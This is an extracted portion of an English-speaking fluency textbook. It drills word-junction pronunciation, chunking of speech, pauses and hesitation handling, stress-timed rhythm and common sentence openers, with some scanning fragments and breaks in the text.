your, with my, with players, with writers, with readers, smooth shell, smooth thing. business today, serious matter, serious thing, boss joked, anxious moment, furious with, gas stove, gas light, impress children, famous painter, his job, his share, his last, his weight, was careless, selfish people, selfish girl, selfish man, wash just, punish the, harsh language, harsh behaviour, harsh customs, finish half, fresh shares, brush remained, brush your, brush my, fresh water, fresh things, fresh tomato, fresh changes, fresh cheese, push towards, polish very, finish dozens, wash some, establish new, green pen, keen competition, men must, main reason, main news, modern games, remain these, often happen, sometimes happen, postpone learning, often visited, own house, join some, eleven things, can show, can do, certain languages, certain foreigners, complain to, few chances, firm decision, medium cold, calm voice, inform none, always helped. better book, colour combination, poor salary, our share, your letter, utter waste, her neighbours, never happened, never thought, never found, never gone, other mistakes, doctor took, over the, clear day, young people, young girls, long journey, wrong thing, sang nicely, impartial decision, will give, equal share, final year, long before, wrong conclusion, during their, looking lovely, outstanding work, general belief, annual conference, people say, final reply, total weight, casual charges, getting ready, long show, according to, a charming girl, getting ready, evil fellow, several picture, attention wandered, morning duty, long jour-ney, among some, among children, awful thirst, small mistakes, several names, several volumes, all letters, clear day. In the following words–groups, you may notice that first word is ending with a vowel like ‘e’. You should not require to be confused about the nature of junction. As we are concerned here with the sound of word only. And here, the end sound of first word and beginning sound of next word, both are of the consonants nature. Read the given words aloud several times.
more changes, were going, were visitors, severe pain, are just, are reliable, were your, one year, one chance, postpone learning, game was, flame may, come back, handsome people, some guests, some samples, some servants, some teachers, some harm, some remembered, came yesterday, extreme limit, surname should, overcame the, came for, calm voice, firm decision, same cheque, same thief, same book, same teacher, same judge, use the, use some, these boxes, those news, please remember, use your, cause more, please go, please come, please don’t, wise person, because tomorrow, nice behaviour, nice girl, precise value, practise your, purpose should, introduce them, whose fault, choice doesn’t, breathe better, bathe the, breathe comfortably, breathe more, idle talk, miserable journey. drove by, live peacefully, believe children, receive visitors, forgive me, receive gifts, receive friends, life changed, life should, knife was, wife laughed, wife smiled, wife thought, safe bet, native town, drove carefully, leave things, have some, move forward, move fast, move just, arrive shortly, have not, improve their, shave daily, arrive shortly, live like, active worker, improve your, observe how, like to, shake violently, strike nicely, large packet, make money, age limit, large zoo, manage your, manage without, message should, acknowledge my, charge those, engage temporarily, encourage boys, college girls, discourage corruption, average distance, average value, courage helped, huge salary, huge bundles, huge jug, made good, beside some, late sales, ripe tomato, wipe neatly, type here, bribe to, bribe them. (b) Junctions Originated by more than Two Consonants—In this group of word junctions, sound of ‘d’ or ‘t’ generally comes in middle of the word and the sound of other consonants comes on either side of the words. For example, ‘must follow’. Here you have not to allow the ‘u’ sound or ‘ ’ (soft ‘e’) sound between the ‘st’ and ‘f’, but drop the sound of ‘t’ and make a single explosion for ‘sf’. And utter the word–group as ‘musfollow’ not as ‘mustfollow’. Now go through the following word–groups and utter each word–group aloud several time. e
In the list of word–groups, you will notice that some words have been given in paranthesis ‘( )’. Have a look only on such words. They needn’t to be pronounced at this juncture. Now move on..
accept my, accept gift, accept some, accept none (of), accept defeat, accept responsibility, adopt new, manuscript was, manuscript should, interrupt the, adopt child, perfect picture, perfect justice, perfect fitting, perfect balance, corrupt judge, corrupt person, (this) concept came, act decisively, direct contact, direct method, incorrect report, contract was, distinct changes, protect the, select your, collect lots, reject some, select good (ones), gift was, gift like, gift packet, lift your, lift began, lift near, lift did, lift got, soft mattress, handicraft seminar, aircraft shed, craft teacher, left hand, left things, left just, left cheek, left for, left right, eldest daughter, eldest son, most changes, last person, best coach, best paint, interrupt them, fast bus, first job, biggest zoo, modest lady, best show, almost totally, last game, lowest rent, last visitor, east wing, east wind, cheapest metal, against you, must follow, cost nearly, joint fast.
result was, result terrified, result cheered, result does, result never, result showed, result seemed, insult them, smelt good, salt powder, belt just, smelt like, consult your, consult regularly, smelt very, guilt cannot, melt things, consult here, consult my, fault finding, fault became, constant worry, excellent meal, important things, joint committee, violent behaviour, want your, faint hope, represent village, decent judge, want people, silent till, present government, represent those, innocent nature, innocent look, decent language, paint did, excellent form, faint sounds, instant relief, student showed. told nothing, hold your, bald head, sold the, told good (jokes), wild justice, bold person, boiled water, soiled letter, detailed report, recoiled sharply, soiled very, fooled me, appealed separately, called for, controlled things, mailed coupons, grilled chicken, howled down, sailed back, pulled towards. expressed thanks, practised hard, blessed the, replaced something, realised what, excused me, amused themselves, caused confusion, used bad (words), abused people, praised just, caused things, disclosed half, roused you, amused children, amazed very, advised shopkeepers, advertised regularly, used to, praised God, caused several, caused nearly, apologized for, pleased lots, closed door, coughed continuously, stuffed the, sniffed round, scoffed very, bathed the, smoothed the, moved with, loved rats, tired long, smoothed your, breathed with, arrived late, received your, believed people, moved just, observed very, loved hunting, solved the, received gifts, moved daily, revolved continuously, arrived today, believed firmly, behaved badly, loved children, observed very, curved sharply, improved things, saved money, achieved nothing, solved the, loved hunting, achieved something, saved some, brushed your, dashed for. looked hurt, looked new, looked mellow, looked marred, liked to, worked for, picked short (ones), chalked things (out), escaped to, hoped for, gripped very, typed your, shaped like, stopped hurting, stopped writing, stopped thinking, pushed thick, published daily, pushed
back, punished cheats, distinguished guests, accomplished something, published new, finished late, finished painting, finished just, finished half, finished shaving, finished polishing, clashed together, punished corrupt (persons), distinguished visitor, cashed the, astonished me, polished well, published weekly, calmed down, seemed cheerful, seemed to, seemed better, seemed familiar, seemed peculiar, seemed good, seemed rigid, seemed annoyed, seemed happy, seemed hurt, seemed shaky, named just, informed them, assumed correctly, assumed things, presumed very, performed so, named nobody, performed well, confirmed later, welcomed you, harmed more. robbed shop, robbed ladies, robbed person, robbed people, bribed them, bribed lots (of), bribed regularly, absorbed water, absorbed half, rubbed some, disturbed you, grabbed my, absorbed nothing, grabbed just, bribed children, rubbed both, discouraged people, discouraged changes, discouraged rich, discouraged players, charged one, encouraged neither, encouraged girls, encouraged shop keepers, encouraged both, encouraged ladies, acknowledged your, acknowledged my, acknowledged just, engaged hundreds, engaged five, engaged good, engaged poors, managed to, managed very, massaged daily, bandaged carefully, judged them, mortgaged things, obliged some. longed for, longed very, hanged just, hanged children, hanged poor, hanged girls, hanged boys, hanged during, hanged last (month), contained dozens, belonged to, wronged me, wronged some, wronged half (of), wronged nobody, wronged them, entertained people, complained bitterly, sound changed, round things, and now, contained lots, joined just, found guilty, mind their, round table, depend completely, questioned very, behind some, stand for, spend whatever, turned sharply, examined your, lend me, joined recently, explained how, reached just, touched things, reached home, approached rather, reached where, touched near, approached broker, fetched more, watched your, reached some, reached last, snatched those, searched carefully, touched things, marched for, marched towards, coached children, coached
people, marched back, sketched very, reached down, clutched tightly, encountered with, freightened of.
2. Consonant–Vowel Junctions
You have been acquainted with consonantconsonant junctions just now. The next important junction is consonant vowel junction. The word–groups having first word ending with the sound of consonant and next word beginning with the sound of vowel are accounted in this junction group. For example, ‘keep earning’, ‘what else’ and so on. Here the first word ‘keep’ ends with the consonant sound of ‘p’, while the next word ‘earning’ begins with the sound of ‘ea’, in word–group ‘keep earning’. This type of junction can pose a bit difficulty in pronouncing that, and you may feel a little fix about how to flow first word into the next word. Generally what the people do at this junction, they stop the flow of speech into next word after uttering the first word. Though they stop unconsciously at the utterance of first word, but that tumbling stop crashes the flow of speech. To avoid such situation, beware of not to stop or explode between the consonant–vowel junction. You have to treat both the consonant and the vowel as a part and parcel of the same word. So you should say the word groups ‘keep earning’ and ‘what else’ as ‘kee–*pearning’ and ‘wha-telse’ respectively. Have a look on the following examples and say ‘disturb old’ as ‘distur-bold’ ‘good idea’ as ‘goo-didea’ ‘teach owls’ as ‘tea-chowls’ ‘change it’ as ‘chan-git’ and so on. Following are some most commonly used word– groups. Go through them attentively and read them aloud as many times as you can. dip eight, develop it, cheap artist, hope either, keep every, keep out, keep earning, keep another, type other, stop adding, stop each, stop oil–leakage, shop always,
* opened, they aimed, they easily, may organise, say everything convey confirmation, justify each, buy ornaments, buy oil, try out, why object, I only, occupy our, my age, my eyes, they abused, they urged, they added, they asked, may offer, lay each, delay in, buy everything. buy eggs, buy aeroplane, try it, cry aloud, shy and, my uncle, my arguments, my active.
enjoy it, empty oil–can, employ army, boy actually, employ ideal, boy obviously, annoy others, destroy old, very angry, very urgent, bury it, copy everything, many old, many awful, many objectives, only argued,
enjoy all, employ every, boy eagerly, boy urged, employ old–one, boy inherited, destroy our, lay among. very often, very ideal, carry out, many other, many advantages, many aircrafts, many offer, new actor, new engine, renew it, grew up, threw all, knew about, new items, new ideas, throw each, slow effect, now active, now actor, now over, how amazing, how awkward, how about, grow idle, no idea, no oil, no aim, so each, so urgent, two of, to any–one to added, to offer, to illustrate, do an, go out, go inside, you upset, you overheard, you ordered, you ate, you aimed, you abondoned, you urged,
draw each, new artist, new officer, grew anxious, threw out, knew urban, knew only, new aim, throw it, screw it, now outside, now earns, now it, how artificial, how often, how astonishing, grow up low opinion. no objections, no enemies, so also, so ugly, so only, to all, to even, to ask, to overcome, into its, two ears, go across, who organised, you acted, you imagined, you isolated, you objected, you answered, you oiled, you expressed.
(c) Words ending with the sound of ‘a’—This category *
1. 2.
‘*’ marks the end of chunk. ‘(that)’ is not an essential part of spoken English.
94 | S. E. F. (2) During the conversation, you can be encountered with ‘attention drawing’ word or word–group. Generally, this type of word or word–group is uttered at the beginning of idea-unit. In such cases, you should treat such ‘attention drawing’ word or word–group as a separate chunk. For Example, Sweety * gulp down it quickly* Mr. Ajay * please come in* My dear children * would you like to have it* Your attention please * may I request you to keep silence* Excuse me * is this your purse * (3) Sometimes your speech may require to be modified by a descriptive word or word–group. In that case, such descriptive word or word–group, i.e., modifying word or word–group can be appear at either place in the structure of idea-unit. That is that that word may appear at the beginning of structure or in the middle of structure or even at the end thereof. Generally, that descriptive word or word–group is used at the beginning of structure, and is required to be uttered as a separate chunk. For Example, Evidently * they weren’t shouting* Frankly speaking * I don’t like his rude behaviour* From here * she went half–an–hour before* For thirty minutes * she waited for you* On most of the days * he played well* Personally speaking * it is very difficult to manage* (4) In the course of conversation, sometimes you may have a naming word–group as subject or topic in the structure. In that case, you are free to utter that naming word or word–group as a separate chunk. For Example, The girl who danced beautifully * lives here* The boy with hat * is the best player of team* The path he chose * wasn’t a good one* Some of my friends * were speaking very loudly there* The sweets lying in the box * aren’t fresh*
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(5) Sometimes you may have to link two structures with conjunctions like ‘and’ or ‘but’. In such cases, you are required to treat the word–group upto ‘and/or/but’ in the structure as one chunk, and the remaining part including ‘and/or/but’ as a next chunk. For Example, I like sweets * but she likes namkeens* I gave him a pen * and she gave him a ballpen* I can go for the movie * or I can visit to zoo also* She wished for it * but hasn’t asked me for* (6) Sometimes you may require to join two structural word–groups with any one of the following word or word– group : after, although, as, as if, as soon as, because, before, if, provided (that), since, so that, than, though, unless, until, when, whenever, whether, while. Then the combined word–group is generally uttered as a single chunk if it doesn’t contain more than eight words, otherwise it can be divided in two or more chunks. For Example, The train left before I reached there* Ask him whether he has found the purse* Ravi reached here * after Ram and his friends visited here* She wanted to ask him * if he met her anywhere there* (7) Sometimes the subject or topic of structural word– group might be a clause. In that case, you should utter the clause as a separate chunk. For Example, How he plays hockey * is very fantastic* What I told here * wasn’t heard at all* How she became lunatic * is still a mystery* Whether she agrees with me * is yet to know* Generally, an utterable chunk of speech–structure shouldn’t contain more than 8 words at a stretch. An ideal utterable word–group or chunk is that one which consists of five to eight words. But sometime you may be compelled to utter a structure containing more than eight words. In all such cases don’t forget to divide the structure as per guidelines cited above under serials 1 to 7, while you speak.
96 | S. E. F. And also manage to speak out the chunks well within the normal time frame. For your information, an Englishman doesn’t take more than three seconds to utter a standard chunk of eight words. Now you are equipped with a very important device of speech fluency. So use this device, divide your speech in chunks and manage your utterable idea–units efficiently.
Chapter in Nutshell
• Divide your speech in chunks, wherever it is • • • •
necessary. A chunk is a piece of specific information. A standard chunk shouldn’t contain more than eight words. Grasp the Seven Tips given in the chapter for effective division of utterable structure of word–group. rhythm technique and for foot, please refer to chapter 9.
98 | S. E. F. (2) Brief Pause—A brief pause is that which takes less time to speak out a foot than the standard pause. (3) Lengthy Pause—If speaker pauses for more time than the standard pause, then it is called a lengthy pause.
Beautify Your Speech with Pauses
You must bear in your mind that pauses are the part and parcel of the natural speech. Now the question is where your stream of speech should have the pauses. To get the answer, try to understand the following general guidelines : (a) Normally, standard pauses and lengthy pauses do not occur at the end of every chunk, and also not at the end of all the chunks. These pauses occur at the end of that chunk that shows any significance or importance. (b) Brief pauses are very common feature of speech as they normally occur at the end of all chunks. (c) Lengthy pauses generally occur when the speaker requires to manage his breath. That’s why lengthy pauses are also called the Breath pauses. (d) Theoretically, it sounds well that the end of chunks are right place to pause, but practically you can find the occurrence of pauses in between of the chunks. Or you can say that pauses can occur between the beginning and end of the chunks. The pauses have another valid reason therefor. And this happens because of hesitation and speaker unconsciously efforts to deal with hesitation with the help of various types of pauses. Thus, you can further classify these pauses as : (1) Junction Pauses—Junction pauses are those pauses which occur at the junctions between chunks, and sometime for some grammatical adjustments. You can call them as grammatical pauses too; and (2) Hesitation Pauses—Sometime pauses occur in between the chunks and cause breaking down the stream of speech flow. Generally, the reason behind this type of pauses is somewhat hesitation. Such pauses are called hesitation pauses. The classification inscribed here is only meant for your general comprehension. You are not required to
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worry about these pauses whether they are junction pauses or hesitation pauses. You are most capable to manage the pauses and can use them to beautify your speech. And to beautify your speech with pauses, you must always remember that there is an important difference between written English and spoken English. At the time of writing, you have a lot of time to think over the subject-matter for construction of sentences, for selecting the appropriate words or phrases, and for correction and editing of structures. But whenever you have to talk, you can’t find enough time to think over about the subject–matter, selection of words, construction, correction and editing of structure. During conversation, planning, framing, correction and editing of structures are to be done in a very limited time and also spontaneously. Therefore, like a natural speaker you are required to do all these functions as and when you have to talk. You will be amazed to know that your Mind* has a unique and special faculty that prompts the planning, editing etc. as soon as you start talking. Since all these functions are performed by your mind at the same time while you talk. That’s why it’s very natural that some speech problems may crop in too. The problems which may come in your speech process can be classified as under : • Problem 1. This type of problem is related with the construction of structure or wordings of the utterance that doesn’t occur in the manner as the speaker wants. • Problem 2. Sometime it happens that the speaker may have a particular idea in his mind to speak, and to speak out it he may know various words and phrases. At this juncture, he may feel difficulty to select appro-priate word or phrase. • Problem 3. Sometimes the organs of speech may not cooperate with the speaker, and unconsciously the organs of speech may utter the same word or phrase
* ideaunit which was to be uttered by him. Whenever the speaker faces any of such problems, he finds him in a crucial fix and he automatically compulsor
No One can Absolutely Avoid Hesitation
Do you know why so many persons lack the fluency of speech ? Because they are not aware about this fact that hesitation is a common feature of spoken English. They have the wrong notion that a good speaker must not hesitate at all. So they just try to avoid hesitation and also try to cover it up. Such people avoid editing of utterance aloud on this false ground that the modifications, additions, deletions and corrections shouldn’t be made aloud, otherwise listener would get the impres-sion that the speaker knows nothing about English. That’s why a speaker unknowingly debars the decision-making and planning process, and inadvertently blocks the speech. And also he makes himself confused, and resultantly his flow of speech falters. To boost up your speech fluency, you are not required to try to avoid hesitation, but (a) Try to reduce hesitation as much as possible, and (b) Learn to tackle with hesitation properly.
How to Scrap the Hesitation
It’s very easy to scrap, reduce or bring down the hesitational problem. To overcome this problem, you have to follow the following : (a) Train perfectly your organs of speech by uttering the basic sound groups, words-groups, structures, conversational expressions; and (b) Avoid speaking strictly on the written English track and ensure your speech definitely on spoken English track. To achieve both the objects, practise the practice material ALOUD as many times.
How to Deal with Hesitation
In the subsequent lines, you will find out various methods to deal with hesitation effectively. You are free to choose any one of them according to your choice and requirement. In the preceding paragraphs, you have been interacted with pauses, viz., Standard Pause, Brief Pause
102 | S. E. F. and Lengthy Pause. For better understanding of examples, you can symbolize the pauses as : Standard Pause by * Brief Pause by † Lengthy Pause by ≠ In the examples given here, the pauses have been marked with daggar (†), i.e., brief pause. However, there is no any hard and fast rule to stick strictly with that. You have the liberty to treat the brief pause as standard pause or lengthy pause as the situation demands. Let’s move to deal the hesitation with pauses. METHOD 1. During conversation, if you feel any type of hesitation, pause for a moment. You can make use of this hesitation pause to organise your thoughts. The pause also gives you a good opportunity to get a momentary rest and reduce the pressure on your speech organs. 1. Suppose the hesitation is due to problem no. 1, i.e., problem related to construction of structure or wordings which are not coming out in the way you want. Then immediately after the pause, try to change the construction or the wordings. You are free to change the construction or wordings or both. You should know that it is a normal feature of spoken part of English as well as other spoken languages, to leave an utterance half finished and to begin with another utterance. For Example, The teacher asked you’ve (†) have you chalked out the programme ? You (†) she is not doing well in exams. I sent off (†) he should have got the book. She’s been hoping (†) do you think she’ll get appointment this time ? 2. Suppose the hesitation is due to problem no. 2, i.e., you’ve a particular idea in your mind to speak and you know various words or phrases, but you are not able to select an appropriate word or phrase. Then you should use the hesitation pause to select the word or phrase and resume your talk using the newly selected word or phrase.
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And also don’t try hard to make the use of very appropriate word. A natural speaker doesn’t bother to spend time in searching for a very accurate or right word. But he uses only vague words or simple words in place of typical words. If you are even not able to recollect any vague word or phrase in context of current idea-unit then do this→leave that idea-unit half-finished, and restructure your utterance in such manner that there may be no need to use such word or phrase. Do you know the symptoms of natural conversationalist’s talk ? There are great use of more common and vague words, phrases, paraphrases, explanations, repetitions, loose constructions, contradictions, and corrections. For Example, Meeting her now is (†) of no use. [Suppose here the speaker wanted to speak ‘very difficult’ but he couldn’t decide to speak it out, hence he changed this word-group by ‘of no use’.] I’ll do it (†) little-by-little. [Here the speaker wanted to say ‘excellently’ but he used the hesitation pause to replace this word by word-group ‘little-by-little’.] She’ll come over here after (†) having lunch. The situation was very (†) awkward. I met with (†) with that curly-haired boy. [The speaker wanted to tell the name of the boy but he couldn’t recollect the boy’s name. So he used the phrase ‘curly-haired boy’.] Her arrival made me (†) made me happy. [Here speaker wanted to say ‘glad’, but the word ‘glad’ escaped from him. So h e used another word ‘happy’.] I went to my village and saw beautiful (†) beautiful place having tall trees, green grass, hills etc. [Here speaker wanted to use word ‘landscape’, but he didn’t know this word, so he described the scene in his own words.] He is a (†) he is a good-looking boy. [Here speaker wanted to say ‘He is a handsome boy’ but the word ‘handsome’ didn’t occur to him. Hence he changed the construction.]
104 | S. E. F. 3. Suppose the hesitation is caused due to problem no. 3, i.e., while organs of speech don’t cooperate with the speaker and the organs of speech unconsciously utter the same word or phrase more than once, or utter the part of word, and after a pause utter the word completely. Then you are required to pause for a moment, and immediately after the pause, you can speak either repeating the half-finished word with or without repeating the same word. You must borne in your mind that repetition of this kind is a common feature of spoken part of a language. For Example, Wait (†) wait for a moment. Tell me what’s (†) what’s the price of that doll. It’s marvellous (†) wonderful. I’ve fed up (†) up (†) of his naughtiness. Would you please bring me that (†) that book ? And you should also know that repetition or breaking down and uttering the part of a word is very common in spoken language too. Therefore, don’t be embarrassed or confused about this type of occurrence. For Example, He is a good pai (†) painter. It’s my submission, you can treat (†) treat it otherwise. The falling tree was a memo (†) memorable scene. She gulped down all the Ras (†) Rasgullas. What’s the new (†) news ? 4. Suppose the hesitation is caused by problem no. 4, i.e., a lump-like formation in the throat due shyness, distraction, tension, self-consciousness etc. And feeling of trouble to complete the idea-unit that was to be spoken. In case of such type of artificial lump formation in the throat, a breath can be of great help in the situation. And after a breath, you may continue your speech as if nothing was happened. After the pause, it depends upon you to repeat or not to repeat the connected word or phrase that you had spoken before the pause. For Example, Nothing was happened with (†) them. He (†) opened the door with a bang.
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She returned back (†) immediately. The thief was (†) handed over to the police. He snatched her all of her (†) her jewellery. You may find him always wrapped (†) wrapped in his own dreams.
Things to Remember
• • • • •
You should have— Pause whenever you feel any hesitation during utterance of your idea–unit. Pause at every point of hesitation. Pause at every junction of chunks, use Standard (*) or Lengthy (≠) pause at every momentous junction. Pause while you feel any short of breath. Pause and take breath before continuation of utterance. Use the hesitaion sounds or hesitation fillers with the pauses as per the demand of context. overpowering home. without any preparation. [The speaker wanted to say the word ‘spontaneously’,
English. fundamentalsperiod. monosyll attention towards the meaning conveyed by that particular monosyllabic word. Further you have the liberty to put stress on a monosyll representation. period. In the above word-group, the syllables those are stressed one are Mo, dri, car, rou and high. Remember : the length of time in which you’ve to utter the first stressed syllable plus the unstressed syllable (i.e., Mohan is) should follow the next stressed syllable and unstressed syllable (i.e., driving the) approximately within the same length of time and so on. Take one more example : Ram and her / sister have / gone.
Foot 1 Foot 2 Foot 3
In the above word group, there are three feet, i.e., ‘Ram and her’, ‘sister have’ and ‘gone’. The first foot have a stressed syllable and two unstressed syllables, the second foot have one stressed and two unstressed syllables, while the third foot have only one stressed syllable.
Here you are required to say each foot, viz., first foot (3 syllables), second foot (3 syllables) and third foot (one syllable) in approximately same amount of time-period. Uttering an idea-unit foot-by-foot requires a little exercise. Hence to fetch the proficiency in it, Do it. While you speak a stressed syllable of foot, tap somewhere, even your book or notebook with your index finger, and keep on tapping at the rate of one tap for every stressed syllable at regular interval of time. You should utter a stressed syllable at each tap. Now practise the following word-groups by beating the rhythm with your index finger. The oblique (/) marked in between the word-groups indicates the end of a foot. Read out each foot aloud with tap. Ram is / going /there. Who is / curious to / see it ? Hari can / do it / easily. It’s the / best way to / solve it. Let us / go to the / market. She has / wasted a / lot of / time. No one is / allowed to / swim here. Leave me / alone. Tell me / who’s not / listening to you. These / sweets are / very / tasty.
Bestow Pace to your Speech
But how much ? In fact there is no austere rule that can dictate the speed of your speech. It depends absolutely upon you, but you should always endeavour to speak as fast as you can. So that you couldn’t seem to be hesitating between two words or word-groups, and your speech may not sound artificial. Remember that the pace of your speech must not be too fast so that your listener don’t succeed to receive the message from your utterance, nor too slow so that your flow of speech looks like a broken one. You should try to keep the speed of your speech at equilibrium by uttering each foot in approximately 3/4th of second, or you can say about 6 taps per second.
•
Things to Remember
No foot starts with an unstressed syllable, hence a starting foot should always have the stress on syllable, inspite of having only one syllable in the foot. In case of a foot having more than one syllable the foot will end as an unstressed syllable. English speech has greater loudness at the beginning of foot, and gradually falls down towards the end of foot rhythmically. Don’t pause at the end of foot. Speak out each wordgroup foot-by-foot from beginning till the end without any pause in between them. Don’t let there be more than three words per foot normally. A three-word foot takes approximately a full second to utter it at normal speed. An idea-unit is nothing but a chain of feet.
• • • •
Some people just try to speak at unwanted fast speed. If you think that when you speak faster, you may called more fluent in English speech, then you are fostering a wrong impression. Fluency doesn’t mean that you should have the extra-ordinary speed of speech. But you should be fluent in speech with an uninterrupted flow. An uninteruppted flow of speech is that one which is interuppted only by as few unmanaged hesitations as possible. It is the rhythm that rules speech-fluency effectively. It gives equilibrium to speech and prevents it from faltering. To sharpen the rhythm art, beat the rhythm and utter each word-group foot-by-foot aloud.
Practice Material
It’s in my / purse. She’s in the / room. He / sings a / song. They’re / nearly / fifteen. I’m / over / forty. There’s a / big / hole in his / pant. They / want to / take a / month’s / leave. It’s on the / table.
She’s / jealous of her / beauty. We / rather / liked it. It / can’t be / done. I / didn’t have my / lunch. He’s / painting a / picture. I’m / happy to / see you. They / want to / live in / comforts. We / must be / going now. It / seems / nice. Don’t / make too much / noise. It’s / under the / cot. I’ll / come / again. Give all the / books to him. They’re / calling. It / smells / nice. She / shook her / head at / me. I / sometimes / go for a / walk on / holidays. He has / tried to / beat him. We / stayed at a / hotel. They were / running on the / grass. I’m a / fraid of / cockroaches. She was / dancing. That was a / fabulous / gift. I / know him by / his name. The / chair’s / broken. This / trousers doesn’t / fit me. She’s on the / roof of her / house. He / fell / sick. It be / came too / boring. She’s / washing the / clothes. He’s much / younger / then. They / shook their / hands. Find a / seat for me. We / formed a / committee. Someone is / singing. She has / come. There / isn’t any / fruit in the / fridge. We / had a very / exciting / game. He re / fused to / pay.
It’s / made of / copper. The / wind shook the / curtains. It has be / come much / hotter. Can you / do it for / me ? Are you / here for / swimming ? Did you / have any / work with / them ? What / causes / fire ? What was the / show like ? What sort of / book is it ? Where did you / go to ? Could you / tell me / how to / get to the / museum ? How / old are you ? Is there any / school / here ? How do you / spend your / holidays ? Can you be / quiet for a / moment ? Are you / going / anywhere to / morrow ? Is she / still / studying / here ? Are they / tired ? Wasn’t I / right ? Do you / know a / good / doctor a / round / here ? Is / Vrindavan / near to / Mathura ? When did you / run out of / kerosine ? Does it / matter / what we / say ? What’s the / number for / Railway / enquiry ? When does your / college / start ? Was / anyone in the / room ? Where does she / get provisions from ? Are you in / favour of / this ? How are the / kids ? Would you / lend some / money to / us ? Haven’t you / seen them / yet ? Where did he / go ? Could I / take / Monday / off / next / week ? What should be the / size of / your / shirt ? When did you / last / see them ? Where was she / born ? When did you / first / come / over here ?
What’d you / like to / have ? Do you / mind if I / open the / door. How / good is he at / swimming ? How long did the / match use to / last ? Would you / like to / take a / cup of tea ? What / time do you / go to play ? Does he / grumble when I / speak ? How / long is / that way ? Will / forty be su/fficient ? Will you / tell me a/bout the / news ? When does the / Madras flight a/rrive ? Could you / get me a / book from the / shop ? Have you / packed the / luggage ? How / large is / Germany ? Could you / tell me / something a/bout the film ?
Chapter in Nutshell
• • • •
Rhythm of Fluency depends upon the Rhythtech, i.e., a predetermined order, and distinct up and down movements in your speech. Rhythtech works primarily with the help of some spare parts like syllables—the word or the part of word uttered by a single effort. Rhythtech needs the proper arrangement of stressed and unstressed syllables as well as the amount of timeperiod invested in utterance thereof.unit;
Know the Speech Initiators
The speech initiators are nothing but the group of words to be uttered at the beginning of an idea-unit. This group of words generally initiates the speech or you can say that it boosts the speech tendency, therefore, these combinations are called speech initiators. The initiators are the important tools to control the delivery of your speech. The initiators form an essential part to develop effective fluency nucleus. Now utter the initial word combinations reproduced herebelow ALOUD as many times as possible. Group 1. I don’t. I didn’t. I don’t have an, I didn’t have an, I don’t have to, I didn’t have to. Group 2. We don’t, We didn’t, We don’t have an, We didn’t have an, We don’t have to, We didn’t have to. Group 3. They don’t’, They didn’t, They don’t have an, They didn’t have an, They don’t have to, They didn’t have to. Group 4. You don’t, You didn’t, You don’t have an, You didn’t have an, You don’t have to, You didn’t have to. Group 5. I have, I haven’t, I had, I hadn’t, I have a, I haven’t a, I had a, I hadn’t a, I have got a, I haven’t got a, I have to, I had to, I have got to, I haven’t got to, I have been, I haven’t been, I had been, I hadn’t been, I have been the, I haven’t been the, I had been the, I hadn’t been the, I have been able to, I haven’t been able to, I had been able to, I hadn’t been able to. Group 6. He is, He isn’t, He is an, He isn’t an, He was, He wasn’t, He was a, He wasn’t a, He was the, He wasn’t the, He is to, He isn’t to, He was to, He wasn’t to, He is able to, He isn’t able to, He was able to, He wasn’t able to, He is going to, He isn’t going to, He was going to, He
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wasn’t going to, He is going to be a, He isn’t going to be a, He is going to be the, He isn’t going to be the.* Group 7. He has, He hasn’t, He had, He hadn’t, He has a, He hasn’t a, He had a, He hadn’t a, He has got a, He hasn’t got a, He has to, He hasn’t to, He has got to, He hasn’t got to, He had to, He hadn’t to, He has been, He hasn’t been, He had been, He hadn’t been, He has been the, He hasn’t been the, He had been the, He hadn’t been the, He has been able to, He hasn’t been able to, He had been able to, He hadn’t been able to.* Group 8. He doesn ’t, He didn’t, He doesn’t have, He didn’t have, He doesn’t have to, He didn’t have to. Group 9. She doesn’t, She didn’t, She doesn’t have, She didn’t have, She doesn’t have to, She didn’t have to. Group 10. It doesn’t, It didn’t, It doesn’t have, It didn’t have, It doesn’t have to, It didn’t have to. Group 11. I am, I am not, I am a, I am not a, Iam an, I am not an, I was, I wasn’t, I was a, I wasn’t a, I was an, I was’nt an, I was the, I was’nt the, I am to, I am not to, I wasn’t to, I am able to, I am not able to, I was able to, I wasn’t able to, I am going to, I am not going to, I was going to, I wasn’t going to, I am going to be a, I am not going to be a, I am going to be an, I am not going to be an. Group 12. We are, We aren’t, We are the, We aren’t the, We were, We weren’t, We were the, We weren’t the, We are to, We aren’t to, We were to, We weren’t to, We are able to, We aren’t able to, We were able to, We weren’t able to, We are going to, We aren’t going to, We are going to be, We aren’t going to be. We were going to, We weren’t
*
to, I was wondering which way to, I forgot who* to, I knew who to, I wanted to stay at home to, I went to that place to, I had to do that to, I was wrong to, I’ll be able to, I’ll be curious to, I’ll be anxious to, I didn’t have an apportunity to, I said I was, I said we must, I said he hadn’t, I told her he was, I wondered whether to, I don’t know if. Group 30. You are required to, You are requested to, You aren’t required to, You are supposed to, You were too confused to, You were too tough to, You were too tired to, You were too mean to, You were too depressed to, You were kind enough to, You suggested I could, You told her you had, You can’t do anything about, You can’t be going to, You must go somewhere else to, You haven’t paid the, You shouldn’t use the, You can’t stop her going to, You can’t get one at, You must understand why, You’ve got the, You told me. Group 31. They are going to, They often listen to, They succeeded to, They failed to, They expected to, They didn’t persuade me to, They hesitate to, They planned to, They remembered to, They didn’t remember to, They never remember to, They started to, They had been trying to, They came here to, They came over here to, They didn’t like me to, They didn’t know how to, They may be glad to, They may be sorry to, They may be reluctant to, They may be happy to, They may be unwilling to, They may be relieved to, They were ready to, They were unable to, They were quick to, They were inclined to, They were irritated to, They were prepared to, They were pleased to, They have no bike to, They have to book to, They have no lawn to, They said it is, They told you their, They told him how, They say they will, They said they must, They say they are, They said they would, They promised they would, They told me I should be, They say they have, They told him not to, They asked me what, They told us the, They started asking her why, They wondered which, They couldn’t have moved
* In context like this, ‘whom’ is not used commonly in Spoken English.
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the, They don’t want any more of, They’ve got used to, They explained everything to, They warned me about, They watched me playing the. Group 32. This is the best book, This is the best piece of, That is far away the, That is near the, That is far from here to, There is very little to, There is no chance to, There is not enough chance to, There is not much time left to, There is no place there to, There is nothing to, There was nothing to, There was a lot of. Following is the collection of various speech initiators mostly used in day–to–day speech. These speech initiators are potent to give you an extra edge to your speech fluency. Therefore, utter each initiator word group aloud several time . Group 33. I can’t hear the, I haven’t heard why, I’ve no idea of, I have nothing in, I don’t like doing, I’m at the, I like going to, I couldn’t help making a, I don’t want to, I had lunch in, I don’t have my, I’m looking forward to meeting our, I’m having some trouble with, I must buy a gift for, I can’t go anywhere else to, I am feeling very, I had a lot of difficulty understanding, I enjoyed talking to, I was in front of, I’d fix it for you if, I sent it to, I forgot to feel, I am not used to carrying, I don’t know which one, I apologised for, I don’t need any, I don’t like the service in, I don’t think the, I 